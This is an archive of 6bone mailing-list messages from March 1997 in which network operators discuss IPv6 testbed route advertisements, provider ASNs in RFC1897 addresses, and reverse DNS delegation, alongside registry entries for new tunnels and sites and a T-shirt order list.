
Hi,
	It looks like the 0.0.9.e.d.0.f.5.ip6.int. entry is registered
	to Jim Bound of DEC.  It might be prudent to have MCI clarify
	is delegation procedures for these test address blocks.

	Jim?

-- 
--bill

From majordom@ISI.EDU  Tue Mar  4 04:29:00 1997
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Subject: Connection to the 6bone
From: chong@mail52.mitretek.org (Chongeun Lee)
To: 6bone@isi.edu (6bone@isi.edu)
Cc: hhsiung@mail50.mitretek.org (Hsiaosu Hsiung)
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I would like to request for the attachment point on the 6bone.
I work for Mitretek Systems in McLean, Virginia, which is a non-profit
organization working to research/develop  technologies for public interest.
We have 2 of desktop PC's (supporting IPv6), 2 of SunSparcStation 10, 1 of DEC
Unix Alpha 500, 1 of ARN hub router from BayNetworks, and 1 of ATM 5000 from
BayNetworks which would be used for the WAN connection.  

Let me know if you need more information.

Thanks,

Chongeun Lee


From majordom@ISI.EDU  Tue Mar  4 00:23:05 1997
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From: bmanning@ISI.EDU
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Subject: suspect routing?
To: 6bone@ISI.EDU
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Hi,
	What is the general take on mapped IPv4 address prefixes being 
	propogated within 6bone, e.g.  ::192.0.2.10

	And I've found a recent "feature" that allows the propogation 
	of the loopback address  ::1

	So sorry to be causing grief and woe to the assembled multitude.

-- 
bill

From majordom@ISI.EDU  Tue Mar  4 20:21:59 1997
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From: "Alain Durand" <Alain.Durand@imag.fr>
Message-Id: <970304192159.ZM4867@rama.imag.fr>
Date: Tue, 4 Mar 1997 19:21:59 +0100
In-Reply-To: bmanning@ISI.EDU
        "suspect routing?" (Mar  4,  8:23am)
References: <199703041623.AA00864@zed.isi.edu>
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On Mar 4,  8:23am, bmanning@ISI.EDU wrote:
> Subject: suspect routing?
>
> Hi,
> 	What is the general take on mapped IPv4 address prefixes being
> 	propogated within 6bone, e.g.  ::192.0.2.10
>
> 	And I've found a recent "feature" that allows the propogation
> 	of the loopback address  ::1


My opinion is that:

	- IPv4 compatible routes should not be advertized
	- Static routes should be injected in RIPng
	  only if they are for directly attached links or tunnels
	- No default route nor 5f00::/8 routes shld ever be advertized
	- more generaly, no routes with a prefixlength < 32 should
	  ever be advertized.

- Alain.

From majordom@ISI.EDU  Tue Mar  4 02:08:30 1997
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Subject: Re: suspect routing?
To: Alain.Durand@imag.fr (Alain Durand)
Date: Tue, 4 Mar 1997 10:08:30 -0800 (PST)
Cc: bmanning@ISI.EDU, 6bone@ISI.EDU
In-Reply-To: <970304192159.ZM4867@rama.imag.fr> from "Alain Durand" at Mar 4, 97 07:21:59 pm
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> 
> On Mar 4,  8:23am, bmanning@ISI.EDU wrote:
> > Subject: suspect routing?
> >
> > Hi,
> > 	What is the general take on mapped IPv4 address prefixes being
> > 	propogated within 6bone, e.g.  ::192.0.2.10
> >
> > 	And I've found a recent "feature" that allows the propogation
> > 	of the loopback address  ::1
> 
> 
> My opinion is that:
> 
> 	- IPv4 compatible routes should not be advertized

	Perhaps...

> 	- Static routes should be injected in RIPng

	Why?

> 	- No default route nor 5f00::/8 routes shld ever be advertized
> 	- more generaly, no routes with a prefixlength < 32 should
> 	  ever be advertized.

	Here is an interesting question for the addressing crowd. 
	Should CIDR style masking apply across the whole IPv6 address
	or do we respect the pro-forma segmenets in the preamble that
	indicate address type?
	For that matter, what happens with the new'n'improved RG+EID
	guck?

	For purposes of the discussion:

	bah#sh ipv6 rou sum
	IPv6 Routing Table Summary - 124 entries
	  4 local, 5 connected, 0 static, 115 RIP
          Number of prefixes:
	/1: 1, /2: 1, /32: 38, /48: 11, /64: 38, /80: 26, /127: 3, /128: 6



> - Alain.
> 


-- 
--bill

From majordom@ISI.EDU  Tue Mar  4 09:29:13 1997
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To: bmanning@ISI.EDU
Cc: jason@linux.aatech.com (Jason Duerstock), RLFink@lbl.gov, 6bone@ISI.EDU
Subject: Re: Getting attached... 
In-Reply-To: Your message of "Mon, 03 Mar 97 13:53:50 PST."
             <199703032153.AA29151@zed.isi.edu> 
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Bill,

> > Note that an RFC1897 format address includes the ASN (Autonomous System
> > Number) of one's provider, not an ASN that belongs to one's own site.
> > (Though a provider uses its own ASN.)
> 
> This is would make my address
> 
> 5F:  (01011111 == first 8 bits)
> 0D:  T
> E9:  +- 3561 (for MCI's ASN)
> 00:  (RES == reserved...?)
> CE:  206. \
> 9C:  156.  > our IPv4 class C subnet
> 94:  148. /
> 00:  (RES == reserved...)


>Hi,
>	It looks like the 0.0.9.e.d.0.f.5.ip6.int. entry is registered
>	to Jim Bound of DEC.  It might be prudent to have MCI clarify
>	is delegation procedures for these test address blocks.
>
>	Jim?

I will have to check with MCI... This is a good point. Right now we are
using 3561.   But sipper is 206.152.163.3 so if one keeps searching on
longest match it will eventually work out.  But I would like to think we
can stop per 1897 per the AS number.  

thanks
/jim

From majordom@ISI.EDU  Tue Mar  4 21:44:27 1997
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From: Guy Davies <guyd@uunet.pipex.com>
To: Alain Durand <Alain.Durand@imag.fr>
Cc: bmanning@ISI.EDU, 6bone@ISI.EDU
Subject: Re: suspect routing?
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On Tue, 4 Mar 1997, Alain Durand wrote:

> On Mar 4,  8:23am, bmanning@ISI.EDU wrote:
> > Subject: suspect routing?
> >
> > Hi,
> > 	What is the general take on mapped IPv4 address prefixes being
> > 	propogated within 6bone, e.g.  ::192.0.2.10
> >
> > 	And I've found a recent "feature" that allows the propogation
> > 	of the loopback address  ::1
> 
> 
> My opinion is that:
> 
> 	- IPv4 compatible routes should not be advertized

I certainly agree with this.  The injection of IPv6 compatible IPv4
addresses is bound to cause confusion and, as far as I can see, serves no
useful purpose (please correct me on that last statement if I'm missing
something obvious ;-)

> 	- Static routes should be injected in RIPng
> 	  only if they are for directly attached links or tunnels

This needs to be slightly widened to allow for any routes which are
connected via a static route to an organisation using static routing to a
RIPng site (I know this is unlikely but it's possible and so we should not
preclude the injection of such routes into RIPng).  I think the main aim
of Alain's statement here is to avoid multihop statics which conflict with
RIPng routes.  I can say from first-hand experience that this can cause
very strange problems which confused me and several others for most of a
day.

> 	- No default route nor 5f00::/8 routes shld ever be advertized

Not onto the 6bone at large.  You may want to advertise defaults to
internal networks running RIPng which have access to only one router.

> 	- more generaly, no routes with a prefixlength < 32 should
> 	  ever be advertized.

Again, on the 6bone, this should _never_ be necessary.  When mapped onto
the "future Internet" running IPv6, it will clearly be feasible, given the
proposed address usage (pre 8+8), for routes < /32 to be necessary. 

Just my thoughts.

Guy

> 
> - Alain.
> 


From majordom@ISI.EDU  Wed Mar  5 01:16:24 1997
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To: 6bone@isi.edu
Subject: ASNs and 1897 (was: Getting attached...)
References: <pine.lnx.3.95.970227200608.10216a-100000@linux.aatech.com>
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From: joda@pdc.kth.se (Johan Danielsson)
Date: 05 Mar 1997 00:16:24 +0100
In-Reply-To: Jason Duerstock's message of Thu, 27 Feb 1997 20:15:51 -0500 (EST)
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Jason Duerstock <jason@linux.aatech.com> writes:

> > Note that an RFC1897 format address includes the ASN (Autonomous System
> > Number) of one's provider, not an ASN that belongs to one's own site.
> > (Though a provider uses its own ASN.)

This is completely incomprehensible. Why should I use the ASN of my
`provider' if I have one of my own (which is typically not the case)?
Also, more or less by definition, if I have an AS number, I have more
than one `provider'.

Can someone clarify this?

/Johan

From majordom@ISI.EDU  Tue Mar  4 17:17:49 1997
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To: joda@pdc.kth.se (Johan Danielsson)
Cc: 6bone@ISI.EDU
Subject: Re: ASNs and 1897 (was: Getting attached...) 
In-Reply-To: Your message of "05 Mar 97 00:16:24 +0100."
             <xofd8tfjliv.fsf@blubb.pdc.kth.se> 
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Here is the issue for not having a unique ASN.  I have to justify it.
I have to do this in my spare time sorry.  What I have to say is I am
using IPv6 on the 6bone, etc. etc.. It will interesting if I get the
unique ASN.  See attached.

/jim

---------------------------------------------------------
Autonomous System (AS) is used for exchanging external routing information
with other ASes through an exterior routing protocol.  It is a connected
group of IP networks which has a single and clearly defined routing policy.

Unique Autonomous System Numbers (ASNs) are required for specific ASes.
However, due to the finite number of available ASNs, care must be taken to
determine which sites require unique ASNs and which do not.

Those requests that do not require a unique AS should utilize one or more
of the ASNs reserved by the Internet Assigned Numbers Authority (IANA) for
private use.  Those numbers are: 64512 through 65535.

The following conditions must be met before being assigned a unique
Autonomous System Number:

Unique Routing Policy

An AS is only needed when you have a routing policy which differs from your
border gateway peers.

-----------------


	a) Unique Routing Policy

	   Please explain how your routing policy is different from your 
           provider.

---------------------------------------------------

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Date: Tue, 04 Mar 1997 22:21:00 -0800
To: joda@pdc.kth.se (Johan Danielsson)
From: Bob Hinden <hinden@ipsilon.com>
Subject: Re: ASNs and 1897 (was: Getting attached...)
Cc: 6bone@ISI.EDU
In-Reply-To: <xofd8tfjliv.fsf@blubb.pdc.kth.se>
References: <Jason Duerstock's message of Thu, 27 Feb 1997 20:15:51 -0500 (EST)>
 <pine.lnx.3.95.970227200608.10216a-100000@linux.aatech.com>
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Johan,

>> > Note that an RFC1897 format address includes the ASN (Autonomous System
>> > Number) of one's provider, not an ASN that belongs to one's own site.
>> > (Though a provider uses its own ASN.)
>
>This is completely incomprehensible. Why should I use the ASN of my
>`provider' if I have one of my own (which is typically not the case)?
>Also, more or less by definition, if I have an AS number, I have more
>than one `provider'.

The ASN of the provider was used because it would allow aggregation when
there were multiple sites connected to the same provider.  Also, as you
point out not many sites have their own ASN.  If a site has an ASN they
essentially become a provider so in that case use your own ASN.

Bob


From majordom@ISI.EDU  Tue Mar  4 21:31:18 1997
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Received: from localhost (dorian@localhost) by nic.hq.cic.net (8.8.5/CICNet) with SMTP id CAA21616 for <6bone@isi.edu>; Wed, 5 Mar 1997 02:31:18 -0500 (EST)
Date: Wed, 5 Mar 1997 02:31:18 -0500 (EST)
From: "Dorian R. Kim" <dorian@cic.net>
To: 6bone@isi.edu
Subject: New tunnels &c
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Added backbone tunnel to DIGITAL-CA

Added tunnel to RISQ

and added three "experimental" tunnels to ISI, Sprint and AATECH.

site:           CICNet primary AS
location:       Downers Grove, Illinois, USA
prefix:         5F04:C900::/32
ping:           5F04:C900:8367:0100:0001::0C8E:50C2 6bone.chicago.cic.net
tunnel:         131.103.1.54 192.31.7.104    CISCO - RIPng - operational
tunnel:         131.103.1.54 132.250.90.3    NRL - RIPng - operational
tunnel:         131.103.1.54 128.223.222.11  UOregon - RIPng - operational
tunnel:         131.103.1.54 198.108.60.153  MERIT - RIPng - operational
tunnel:         131.103.1.54 128.173.88.83   VT - static - operational
tunnel:         131.103.1.54 192.87.110.60   SURFNET - RIPng - operational
tunnel:         131.103.1.54 198.128.2.27    ESNET - RIPng - operational
tunnel:         131.103.1.54 128.176.191.66  JOIN - RIPng - operational
tunnel:         131.103.1.54 192.220.249.249 NWNET - RIPng - operational
tunnel:         131.103.1.54 208.9.2.220     Sprint - RIPng - experimental
tunnel:         131.103.1.54 128.9.160.26    ISI - RIPng - experimental
tunnel:         131.103.1.54 206.156.148.9   AATECH - static - experimental
tunnel:         131.103.1.54 204.123.2.236   DIGITAL-CA - RIPng - operational
tunnel:         131.103.1.54 192.26.210.5    RISQ - static - operational
contact:        Dorian Kim <dorian@cic.net>
contact:        CICNet Network Systems <ns@cic.net>
status:         operational since 1/21/97
remark:         6bone.chicago.cic.net is a transit only tunnel fanout box
remark:         6bone.chicago.cic.net is a cisco 2501
remark:         will happily add transit tunnels to folks with following ipv4
remark:         connectivity: CICNet, OARnet, Michnet, ESnet, MCI, DIGEX
remark:         please report any problems to contact above.
changed:        dorian@cic.net 970305
source:         RIPE


-dorian


From majordom@ISI.EDU  Wed Mar  5 17:47:56 1997
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From: "Alain Durand" <Alain.Durand@imag.fr>
Message-Id: <970305164756.ZM5985@rama.imag.fr>
Date: Wed, 5 Mar 1997 16:47:56 +0100
In-Reply-To: Guy Davies <guyd@uunet.pipex.com>
        "Re: suspect routing?" (Mar  4,  9:44pm)
References: <Pine.GSO.3.95q.970304213549.463D-100000@swannee.uunet.pipex.com>
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On Mar 4,  9:44pm, Guy Davies wrote:
> Subject: Re: suspect routing?

> > 	- No default route nor 5f00::/8 routes shld ever be advertized
>
> Not onto the 6bone at large.  You may want to advertise defaults to
> internal networks running RIPng which have access to only one router.

Perfectly right. I was only talking about route advertisements
among core routers.

	- Alain.

From majordom@ISI.EDU  Wed Mar  5 02:43:40 1997
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From: Matt Crawford <crawdad@fnal.gov>
Subject: Re: ASNs and 1897 (was: Getting attached...)
In-Reply-To: "05 Mar 1997 00:16:24 +0100." <"xofd8tfjliv.fsf"@blubb.pdc.kth.se>
To: joda@pdc.kth.se (Johan Danielsson)
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> Jason Duerstock <jason@linux.aatech.com> writes:
> > > Note that an RFC1897 format address includes the ASN (Autonomous System
> > > Number) of one's provider, not an ASN that belongs to one's own site.
> > > (Though a provider uses its own ASN.)
> 
> This is completely incomprehensible. Why should I use the ASN of my
> `provider' if I have one of my own (which is typically not the case)?

Hoping that I am not the Nth to answer (for N >> 1) ...

You use the ASN of the provider who gives you a 6bone link because
that way the address prefixes aggregate well.  My site has an ASN of
its own, and has multiple connections to the world, but my IPv6
testing prefix incorporates the ASN of the provider who is at the
other end of my external IPv6 tunnel.

> Also, more or less by definition, if I have an AS number, I have more
> than one `provider'.

Consider just your primary, or your only, IPv6 connection.

From majordom@ISI.EDU  Wed Mar  5 00:12:47 1997
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Posted-Date: Wed, 5 Mar 1997 08:12:47 -0800 (PST)
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To: 6bone@ISI.EDU
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> > I don't think you meant to announce these to me. I'll filter the defaults on
> > my end:
> 
> 
> 	While thats fine, its not clear to me why we are labeling these
> 	prefixes "bad"/"martian" up front.  
> 
> 	Why are IPv4 mapped addresses "bad"?  The current answer is that
> 	they are "confusing".   Not good enough by me.
> 
> 	The other, larger question is, do the cidr rules apply across the
> 	whole IPv6 address?  If so, why?  
> 	
> 	I'll note that in the IPv4
> 	world, I can aggregate across the whole address range and even
> 	announce it (or large chucks thereof)  (see the 1/4 default that
> 	sprint was running for a brief period... 192/3)
> 
> 	Then there is the subordinate query about the IPv6 equivalents of
> 	/31 and /32 announcements.  Yes, host routes are pathological.
> 	Why can't ciscos generate a true /128 announcement?



-- 
bill

From majordom@ISI.EDU  Wed Mar  5 00:46:29 1997
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Subject: Re: IPv4 routes 'leaking' into RIPng (BIF)
To: 6bone@ISI.EDU
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> > What benefit was it giving you?  Surely, an IPv6
> > compatible IPv4 route is either going to be auto-tunnelled or routed via
> > IPv4.
> 
> Well, call me loony, but I thought that part of the idea behind 6bone was to 
> explore/examine the extent of the IPv6 feature set, particularly the -very-
> primitive routing capabilities.
> 
> I think the injection of this "spurious" route raised a couple of interesting 
> questions.  One respones was, "its confusing"  and there are your assertions
> above about autotunneling or routed via IPv4.  A careful examination of
> the prefix I injected will show that the IPv4 equivalent is never supposed
> to be routed in the IPv4 infrastructure.  A rough equal to the RFC 1918
> blocks. 
> 
> I think that before we, as operators, start making restrictive choices on
> IPv6 routing implementations, we should really have better criteria that
> the subjective assertions that have thus far been made.


	The prefix in question was  ::192.0.2.10

-- 
bill

From majordom@ISI.EDU  Wed Mar  5 19:51:45 1997
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Date: Thu, 6 Mar 97 0:51:45 EST
From: Tom Dyas <tdyas@xenophanes.rutgers.edu>
To: 6bone@isi.edu
Subject: adding registry info
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What is the proper ftp group password to add an entry to the RIPE-NCC info
list?

Tom


Tom Dyas                                                tdyas@noc.rutgers.edu
Network Operations Group                    http://www-no.rutgers.edu/~tdyas/
Rutgers University Computing Services                            908-445-5683

From majordom@ISI.EDU  Thu Mar  6 00:44:57 1997
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Date: Thu, 6 Mar 1997 08:44:57 -0800
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: 2nd Tshirt order list 6Mar97 0840
Cc: Vincenzo Virgilio <w@acm.org>, larrys@lexis-nexis.com (Larry Snyder),
        Jimmy Kyriannis <jimmy.kyriannis@nyu.edu>,
        "Jeremy M. Behrle" <jbehrle@cisco.com>,
        Richard Levenberg <richardl@adobe.com>,
        "Wynn Fenwick" <wfenwick@kingston.net>,
        psb@mh1.lbl.gov (partha s. banerjee), "David E. Martin" <dem@hep.net>,
        Aaron Dewell <dewell@Alaska.NET>, DavidLMD@aol.com,
        Greg Hankins@lbl.gov    (greg.hankins@cc.gatech.edu),
        Ramanan <ramanan@sprint.net>, greg@webnology.com,
        u8434802@cc.nctu.edu.tw, "Paul King @work" <pking@cableinet.net>,
        Paul Caron <pcaron@baynetworks.com>,
        "John W. Stewart III" <jstewart@isi.edu>,
        Chris Wedgwood <chris@cyphercom.com>,
        <napolean@ravenstrum.transient.net>,
        John Lekashman <lekash@nas.nasa.gov>
Sender: owner-6bone@ISI.EDU
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Status: RO

Current 2nd order list for 6bone Tshirts.

This darn thing keeps growing...didn't know Tshirts were so popular.

I'm gone 10-12 March, and thus plan to submit the order to the Tshirt
printer next Friday (March 14).

Get your changes and orders to me by then...this will be the LAST call.


Thanks,

Bob

================================================================================

Asayesh, Hamid	1 XXL	no address on file
Banerjee, Partha	2 L	address on file
Barnes, Greg	2 XL, 2 XXL	address on file
Behrle, Jeremy	1 XXL	address on file
Blanchet, Marc	4 L	address on file
Boneparth, David	1 XL	aaddress on file
Bourgeois, Judd	1 XL	address on file
Caron, Paul	2 L	address on file
Clark, Alex	4 M, 14 XL, 2 XXL	address on file
Cully, Brian	1 XL	address on file
Dewell, Aaron	1 L, 1 XL	address on file
Fenwick, Wynn	1 XL, 1 XXL	address on file
Hankins, Greg	1 M	address on file
Harrison, Jeff	1 XL	address on file
Hoag, Andrew	1 XXL	address on file
Jin, Bih-Huang	1 L	address on file
King, Paul	2 XXL	address on file
Kyriannis, Jimmy	1 L, 1 XL	address on file
Laird, Scott	5 L, 9 XL	address on file
Lekashman, John	2 S, 1 XL, 1 XXL	address on file
Lerperger, Michael	1 XL	address on file
Levenberg, Richard	2 L	address on file
Lewis, David	1 XXL	address on file
Mankin, Allison	2 M, 2 L	address on file
Markov, Igor	1 M	address on file
Martin, David	1 L	address on file
Metz, Craig	1 L	address on file, prepaid
Ramanan PS	2 L	address on file
Snyder, Larry	2 XL	address on file
Stewart, John	1 XL	address on file
Sullivan, Don	1 M	address on file
Tannenbaum, Andrew	1 XL	address on file
Virgilio, Vincenzo 	2 XL, 1 L	address on file
Watson, Robert	3 XL	address on file
Wedgwood, Chris	1 L	address on file
Whalen, Matthew	1 L	address on file
Winchcombe, Charlie	5 XXL	address on file, prepaid

================================================================================

Please send NO checks/money until after you have received your Tshirt(s) in
the mail.

When you do send a check (only upon receipt of Thsirts) please make it out
to Robert L. Fink and mail to:

	Robert L. Fink
	3085 Buena Vista Way
	Berkeley, CA  94708
	USA

================================================================================



From majordom@ISI.EDU  Fri Mar  7 13:27:07 1997
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Date: Fri, 7 Mar 1997 12:27:07 +0100
From: vito@pan.cib.na.cnr.it (Franceso Vitobello)
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New site to ping :
site:		CIB-NA-CNR
location:	Arco Felice, Naples, ITALY
prefix:		5f16:4d00:8ca4::/48
ping:	        5f16:4d00:8ca4:100::2812:606b	
tunnel:		140.164.1.9  163.162.17.77  CSELT 
contact:        Francesco Vitobello <vito@pan.cib.na.cnr.it>
                Luca Sabio <sabio@zeus.na.cnr.it>	
status:		operational since March 6, 1997
remark:		report any problems please
changed:        Francesco Vitobello <vito@pan.cib.na.cnr.it>	
source:		RIPE


From majordom@ISI.EDU  Fri Mar  7 16:25:34 1997
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Date: Fri, 07 Mar 1997 15:25:34 +0100
From: Waltraud Erber <Waltraud.Erber@ecrc.de>
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Hello,

hopefully ping-able is:

site:           ECRC
location:       Munich, Germany
loc-string:     ???
prefix:         5f04:f900::0/32  
ping:           5f04:f900:8d01:200:2:800:2071:18ae
tunnel:         141.1.2.3 130.225.231.5 UNI-C
contact:        Waltraud.Erber@ecrc.de, Joerg.Lehrke@ecrc.de
status:         operational
remark:         Solaris 2.5 - ipv6 Version5-0
source:         RIPE
changed:        wer@ecrc.de 970226






-- 
--
Waltraud Erber				     => Tel. +49 89 926 99180
ECRC European Computer Research Centre       => Fax. +49 89 926 99170
Arabellastr. 17, 81925 Munich, Germany       => E-Mail: wer@ecrc.de



From majordom@ISI.EDU  Fri Mar  7 02:33:54 1997
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From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: slow 6bone diagram update
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Sorry to be so slow on updating the 6bone diagrams.

I am aggregating changes as I have been swamped.

Will do a big update next week.


Thanks for you patience.

Bob



From majordom@ISI.EDU  Fri Mar  7 11:07:48 1997
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Date: Fri, 07 Mar 97 16:07:48 -0500
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Next week we will be showing an IPv6 WWW page btw Internet World in L.A.
and Uniforum at San Francisco using our port of Appache Server and Arena
browser over the 6bone.  This will debut our IPv6 Alphaserver for IPv6
Early Adopters to get on the 6bone and start using IPv6.
www.digital.com/info/alphaserver/  .....

Its not toast yet but its baking....

/jim

From majordom@ISI.EDU  Fri Mar  7 05:48:30 1997
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Date: Fri, 07 Mar 1997 13:48:30 -0800
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From: Bob Hinden <hinden@ipsilon.com>
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Jim,

>Next week we will be showing an IPv6 WWW page btw Internet World in L.A.
>and Uniforum at San Francisco using our port of Appache Server and Arena

Cool!  Very nice work!

Bob


From majordom@ISI.EDU  Sat Mar  8 14:30:34 1997
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From: froboy <froboy@jedi.transient.net>
To: 6bone@isi.edu
Subject: Connectivity
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Hello there,
I am part of a small northeastern U.S. freenet called Transient Systems.
Transient Systems is interested in putting a site on the 6bone.  The link
that we would like to do this through is a 56K Circuit Switched Voice Line
that we do dedicated dial-up with.  I am curious if anyone can refer us
to someone in Massachusetts, in the Boston/Arlington area so we may get a
tunnel.  Any help would be much appreciated.

thank you,

andrew d. tannenbaum
System Administrator -- Transient Systems
froboy@transient.net


From majordom@ISI.EDU  Fri Mar  7 19:26:18 1997
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To: froboy <froboy@jedi.transient.net>
Cc: 6bone@ISI.EDU
Subject: Re: Connectivity 
In-Reply-To: Your message of "Sat, 08 Mar 97 19:30:34 EST."
             <Pine.LNX.3.95.970308192631.4771A-100000@jedi.transient.net> 
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Andrew...

I suggest going thru UNH or Bay Networks in New England depending on
which provider you have.  You can get contact via the Ripe NCC.

/jim

From majordom@ISI.EDU  Mon Mar 10 10:47:10 1997
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Date: Mon, 10 Mar 1997 11:47:10 -0100 (GMT)
From: JOIN Project Team <ipng@uni-muenster.de>
Reply-To: JOIN Project Team <join@uni-muenster.de>
To: 6bone@ISI.EDU
Subject: changed ping-statistic 
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Hi,

we moved our 6bone ping statistic page to

 http://www.join.uni-muenster.de/JOIN/ipv6/texte-englisch/ping-list.html

The major change is that the list is generated automatically once a night
based on the information in the RIPE registry now.
Additionaly we included flags to check the DNS and reverse DNS service for
each site. Like before all listed sites are pinged hourly.

If somebody doesn't like to be pinged please drop us a short note... 

Hope it's a useful information for you,

all the best
- Guido

------------------------------------------------------------------------------
JOIN -- IP Version 6 in the WiN   Guido Wessendorf
        A project of DFN          Westfaelische Wilhelms-Universitaet Muenster
Project Team email:               Universitaetsrechenzentrum
           join@uni-muenster.de   Einsteinstrasse 60
http://www.join.uni-muenster.de   D-48149 Muenster / Germany

phone: +49 251 83 31639, fax: +49 251 83 31653, email: wessend@uni-muenster.de
------------------------------------------------------------------------------



From majordom@ISI.EDU  Mon Mar 10 17:03:31 1997
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Date: Mon, 10 Mar 97 22:03:31 EST
From: Tom Dyas <tdyas@xenophanes.rutgers.edu>
To: 6bone@isi.edu
Subject: reverse delegation
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Who would I have to talk with to get a delegation for ip6.int.?

Tom


Tom Dyas                                                tdyas@noc.rutgers.edu
Network Operations Group                    http://www-no.rutgers.edu/~tdyas/
Rutgers University Computing Services                            908-445-5683

From majordom@ISI.EDU  Tue Mar 11 02:49:16 1997
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Date: Tue, 11 Mar 1997 10:49:16 -0800 (PST)
From: John Carlson <johnc@cac.washington.edu>
To: 6bone@ISI.EDU
Subject: New Tunnel
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A tunnel has been established between the University of Washington 
and NWNet:

site:           UW
location:       University of Washington, Seattle, WA USA
loc-string:     49 39 42n 122 18 45w
prefix:         5F02:AD00:8C8E/48
ping:           chickadee.ipv6.washington.edu 5F02:AD00:8C8E::60:A0:2470:63EC
tunnel:         140.142.96.1 192.220.249.249 NWNET
contact:        johnc@cac.washington.edu
status:         operational 970306
remark:         chickadee.ipv6.washington.edu is a pentium/133 linux 2.1.27
changed:        johnc@cac.washington.edu 970311
source:         RIPE


johnc
-------------------------------------------------------------------------------
John D. Carlson
Networks and Distributed Computing     EMAIL: johnc@cac.washington.edu 
University of Washington               BELL:     (206) 685-6204
4545 15th Ave NE                       FAX:	 (206) 685-4044 
Seattle, WA  98105		       


From majordom@ISI.EDU  Tue Mar 11 03:21:38 1997
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From: bmanning@ISI.EDU
Posted-Date: Tue, 11 Mar 1997 11:21:38 -0800 (PST)
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Subject: While Waiting...
To: 6bone@isi.edu
Date: Tue, 11 Mar 1997 11:21:38 -0800 (PST)
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Trying to follow in the grand tradition, and while waiting for the majic 
strings to pop up from my mailing list search (anyone care to pass on the group
id/password so I can update these objects on the RIPE ftp service?)

I offer up these two new objects.  The one is at ISI and the other is one hop
off the LA exchange point, sometimes called MAE-LA.


site:           ISI-6BONE
location:       Los Angeles
prefix:         5FBC:1100/32
ping:           5FBC:1100::8009:A01A
tunnel:         128.9.160.26 192.31.7.104     CISCO/US RIPng operational
tunnel:         128.9.160.26 198.32.146.11    LAP/US RIPng operational
tunnel:         128.9.160.26 131.103.1.54  CICNET/US RIPng operational
contact:        bill manning <bmanning@isi.edu>
status:         operational since Mar-97
remark:         DNS operational for reverse zones
changed:        bmanning@isi.edu 970311
source:         RIPE

site:           LAP-EXCHANGE
location:       Los Angeles
prefix:         5FBC:1000/32
ping:           5FBC:1000::C620:920B
tunnel:         198.32.146.11 128.9.160.26 LAP/US RIPng operational
contact:        bill manning <bmanning@isi.edu>
status:         operational since Mar-97
remark:         DNS operational for reverse zones
remark:         Willing to add tunnels on request
remark:         One hop from Genuity/Cerfnet/LosNettos/InterNex & others
changed:        bmanning@isi.edu 970311
source:         RIPE

Anyone wishing to setup a tunnel to either should email
me and I'll get back in touch.  Note that I'd prefer to
host the tunnels off the LAP point, with the exception of
the CARIN/DARTNET/SCAN links that terminate inside ISI, if
they would like to move.

--bill

From majordom@ISI.EDU  Tue Mar 11 13:12:16 1997
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Date: Tue, 11 Mar 1997 21:12:16 -0800
To: lf@elemental.net (Lars Fenneberg)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Re: www.6bone.net
Cc: 6bone@isi.edu (6BONE Mailer)
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At 2:08 AM -0800 3/8/97, Lars Fenneberg wrote:
>Hi Bob!
>
>	A few days ago I suggested registering 6bone.net to use it
>	for www.6bone.net. I only got one (positive) response in
>	private mail but no further feedback.
>
>	So, what do you think as the one hosting the 6bone homepage?

That I will probably do this (i.e., register www.6bone.net or ,org or both).

Stay tuned.


Thanks,

Bob



From majordom@ISI.EDU  Wed Mar 12 12:55:50 1997
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Message-Id: <c=GB%a=_%p=BT%l=NORMAN-970312125550Z-2576@mussel.drake.bt.co.uk>
From: Stuart Prevost <stuart.prevost@bt-sys.bt.co.uk>
To: "'6bone@isi.edu'" <6bone@isi.edu>
Subject: New tunnel
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Added new tunnel to IFB to tie in with 6bone overview diagram

site:		BT Labs, Martlesham Heath
location:	Suffolk, UK
loc-string:	52 03 52n 01 17 16e
prefix:		5f06:d800/32
ping:		5f06:d800:c171:3a00::1
tunnel:		193.113.58.75 194.105.166.254 IFB
tunnel:		193.113.58.75 132.250.90.5 NRL
tunnel:		193.113.58.75 148.88.153.38 ULANC
contact:	Stuart Prevost <stuart.prevost@bt-sys.bt.co.uk>
status:		operational
remark:		IPv6 for Solaris 2.5.1
changed:	stuart.prevost@bt-sys.bt.co.uk 970312
source:		RIPE

Regards

Stuart

From majordom@ISI.EDU  Fri Mar 14 15:20:40 1997
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Date: Fri, 14 Mar 1997 15:20:40 +0000 (GMT)
From: Guy Davies <guyd@uunet.pipex.com>
To: 6bone@isi.edu
Cc: uk6bone@scorpio.ecs.soton.ac.uk
Subject: UUNET/UK update
Message-Id: <Pine.GSO.3.95q.970314150622.950Q-100000@swannee.uunet.pipex.com>
X-Organisation: UUNET (Cambridge)
X-Address: 332 Science Park. Milton Road. Cambridge. CB4 4BZ
X-Phone: +44 (0)1223 250100
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Hi All,

UUNET/UK now has a second ipv6 router at our PoP in Telehouse, London.  We
are happy to setup tunnels when asked, particularly to organisations with
connectivity to LINX in Telehouse, DGIX in Stockholm, AMS-IX in Amsterdam
and the UUNET global infrastructure.  We can currently support RIPng and
static routing.  

A public thankyou to all the folks to whom we already have tunnels for
their patience and help while I chased problems round the net during the
installation of the second router.  It's amazing the problems one little
typo can cause <grin>. 

Our current ip6rr record is as follows....

site:           UUNET-UK
location:       Cambridge, UK
prefix:         5f07:3900/32
ping:		5f07:3900:9e2b:8500:0000:1111:1111:1111 6bone-gw.lon.ip6.pipex.net
ping:		5f07:3900:9e2b:c000:0000:0060:3e59:4d90 eth0.6bone-gw.lon.ip6.pipex.net
ping:		5f07:3900:9e2b:8500:0000:2222:2222:2222 6bone-gw.cam.ip6.pipex.net
ping:           5f07:3900:9e2b:8900:0098:0000:0c92:145c eth0.6bone-gw.cam.ip6.pipex.net
ping:		5f07:3900:00c2:8200:0000:0000:c00d:03c4 swannee.ip6.pipex.net
tunnel:		158.43.133.254 192.31.7.104 	CISCO/US RIPng operational
tunnel:		158.43.133.254 192.32.29.62 	BAY/US RIPng operational
tunnel:		158.43.133.254 192.220.249.249 	NWNET/US RIPng operational
tunnel:		158.43.133.254 194.182.135.253	TELEBIT/DK RIPng operational
tunnel:		158.43.133.254 194.105.166.254	IFB/UK RIPng operational
tunnel:		158.43.133.254 130.225.231.5	UNI-C/DK RIPng operational
tunnel:		158.43.133.254 193.10.66.50	SICS/SE RIPng operational
tunnel:		158.43.133.254 204.123.2.236	DIGITAL-CA/US RIPng operational
tunnel:		158.43.133.254 192.87.110.60	SURFNET/NL RIPng operational
